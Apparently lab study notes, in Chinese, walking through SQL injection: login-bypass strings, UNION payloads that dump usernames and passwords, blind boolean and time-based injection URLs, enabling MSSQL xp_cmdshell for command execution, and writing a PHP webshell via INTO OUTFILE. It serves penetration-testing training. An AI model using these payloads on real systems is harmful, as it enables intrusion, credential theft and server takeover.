SQL Injection 攻擊
SQL Injection 攻擊
最基本簡單的帳號密碼輸入繞過方式為輸入 ' OR 1=1 -- //
例如某網站使用者名稱存在 SQL Injection,於使用者名稱輸入 offsec' (最後面加上單引號)
下方顯示 SQL 輸出錯誤,可以簡單快速了解網站欄位存在 SQL Injection
使用者欄位改成輸入 offsec' OR 1=1 -- // ,因為 1=1 始終成立就可以成功繞過驗證
再來直接輸入 ' or 1=1 in (select @@version) -- // 查看資料庫版本,結果成功輸出如下圖
接著野心大一點輸入 ' OR 1=1 in (SELECT * FROM users) -- // 讓他輸出所有的使用者
結果如下圖噴了錯誤訊息,由於有存在 SQL Injection 但沒有成功輸出
判斷有可能是一次僅能輸出一行
所以修改語法為 ' or 1=1 in (SELECT password FROM users) -- // 讓輸出限定在 password
下一步就是開始猜測使用者帳號,例如 admin,所以修改語法如下將使用者限定在 admin
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
一旦發現 SQL Injection 存在且網頁返回值一起顯示時
一定要測試基於 UNION 的 SQL Injection
例如某網頁的後端查詢客戶名稱原始碼如下
$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";
表示該網頁依據輸入的值來返回查詢的結果,如果返回的輸出頁面如下
可以看到共有四個欄位,但也有可能是輸出顯示四欄而已
若存在 SQL Injection 可以透過排列的 SQL 語法測試,例如 ' ORDER BY 1-- //
當使用 % ' ORDER BY 1-- // 輸出結果與 % 一樣時,通常表示存在第一個看不到的欄位
預設輸出結果是依據該結果輸出,或是限在網頁上呈現的第一個欄位即為預設的排列呈現
% ' ORDER BY 1-- // 查詢輸出如下圖,結果與上一張圖內容一致
加到 6 時若返回如下錯誤訊息,就可以明確得知共有五個欄位(原始輸出僅有 4 個)
已知有五個欄位所以可以嘗試攻擊語法如下
%' UNION SELECT database(), user(), @@version, null, null -- //
輸出結果如下圖,可以看到第一個欄位是使用者,第二個欄位顯示是版本
第一個語法條件 database() 資料庫名稱沒有出現,這是因為通常第一個欄位為 ID 字段(例如 UID),因為 ID 通常對於使用者來說不是有用的訊息,甚至會造成混亂
上述為推斷的結果,但幾乎可以 99.99% 確認隱藏的欄位就是遞增的唯一值 UID
所以這時候我們就可以修改 UNION 語法來呈現結果,例如將 null 移到前面兩個欄位
語法 : ' UNION SELECT null, null, database(), user(), @@version -- //
資料庫相關資訊存在放 "information_schema" 數據庫檢索列表中
現在我們有五個欄位可以輸出,然後顯示四個欄位(第一個是隱藏的欄位不輸出顯示)
所以我們可以檢索看看此資料庫中的相關欄位與隸屬哪個 Table 與資料庫,語法如下
讓第一、第五保留空白 null,需要的資料放到第二、三、四欄位來顯示
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
所以下一步的語法當然就是直接輸出使用者名稱與密碼啦,順便帶個描述,語法如下
' UNION SELECT null, username, password, description, null FROM users -- //
因為資料庫只有一個,若要指定 offsec 資料庫語法如下
' UNION SELECT null, username, password, description, null FROM offsec.users -- //
Blind SQL Injections
上述的相關 SQL Injection 可以看到結果會透過網頁或是 HTTP 的 Content 顯示內容回傳
但實際環境有另一種是永遠不會返回資料庫響應內容的稱為 "Blind SQL Injection"(SQL 盲注)
而是透過基於布林(boolean)或時間(time-based)的邏輯來推斷結果
布林值 (Boolean) : 當資料庫返回 True or False 時應用程式會響應不同但可預測的結果來判斷 SQL 注入是否成功,亦可稱為條件判斷。
基於時間 (time-based) : 通過指示資料庫等待特定的時間(攻擊端輸入)來推斷查詢結果的響應時間判斷該攻擊語法是 True or False。
登入某網站顯示如下畫面,透過網址查看是透過 Query String 來顯示結果
網址是 http://192.168.50.16/blindsqli.php?user=offsec
由於 1 始終為 1 所以可以在原網址後面輸入 SQL Injection 如下
http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
接著我們可以在 Query String 中帶入不同的使用者名稱,例如 user=admin
http://192.168.50.16/blindsqli.php?user=admin' AND 1=1 -- //
來查看網頁的返回結果確認整個資料庫的使用者名稱,甚至可能查詢驗證其他的表中的資料
同一個網址中可以一併測試基於時間的注入是否成功,範例攻擊注入語法如下
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
如果帳號存在,如送出上述語法中的 offsec 帳號,會發現瀏覽器等待了 3 秒才會顯示如下結果
若送出一個不存在的帳號,例如 : secoff, 則因為 false 畫面會馬上出現如下
手動代碼執行 (Manual Code Execution)
接著要來探討如何透過 SQL Database 獲取系統的權限,以 MSSQL 而言
當我們有了 SQL Database 的管理權限還是只能對資料庫進行檢索等查詢但無法對資料庫本身所在的機器做任何事情,所以可以透過 xp_cmdshell 來達到目的,該函數預設被禁用,且如果要使用需要透過 EXECUTE 指令來調用而不是 SELECT。
假設我們已經有某 MSSQL Database 的管理者權限,如上所述使用 impacket-mssqlclient 工具遠端登入
└─$ impacket-mssqlclient Administrator:Lab123@192.168.203.18 -windows-auth
先輸入 EXECUTE sp_configure 'show advanced options', 1; 來啟用顯示高級選項
接著輸入 RECONFIGURE; 將更改的設定套用到運行環境的配置
再輸入 EXECUTE sp_configure 'xp_cmdshell', 1; 啟用我們要的 xp_cmdshell
一樣輸入 RECONFIGURE; 將更改的設定套用到運行環境的配置
前面有提到啟用了 xp_cmdshell 後使用的指令是 EXECUTE 而不是 Select
所以輸入指令語法為 EXECUTE xp_cmdshell 'whoami'; 可以看到成功的輸出當前使用者
試試看 ipconfig 可否呈現,指令 EXECUTE xp_cmdshell 'ipconfig'; 一樣成功顯示如下
另外在 MySQL 上面有提到 UNION SELECT 方式的注入攻擊,若此時網頁執行的權限具有寫入磁碟機檔案文件的權限,加上用 php 語言開發(大部分 MySQL 都是配合 php),以及知道網站檔案存放路徑那就可以使用以下語法來注入 webshell 攻擊
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
如果顯示如下可能代表該帳號沒有寫入權限,或是沒有該路徑的權限,或是路徑猜測錯誤
但如果顯示如下,看來像是錯誤訊息但這與不正確的返回類型有關
並不影響在該位置寫入 webshell,看來應該是成功的
讓我們來測試看看,透過網址帶入 Query 參數 cmd=id 結果輸出如下圖
webshell 是正常執行的,下一步正常就是建立 Remote Shell 透過 Terminal 操作最方便
留言
張貼留言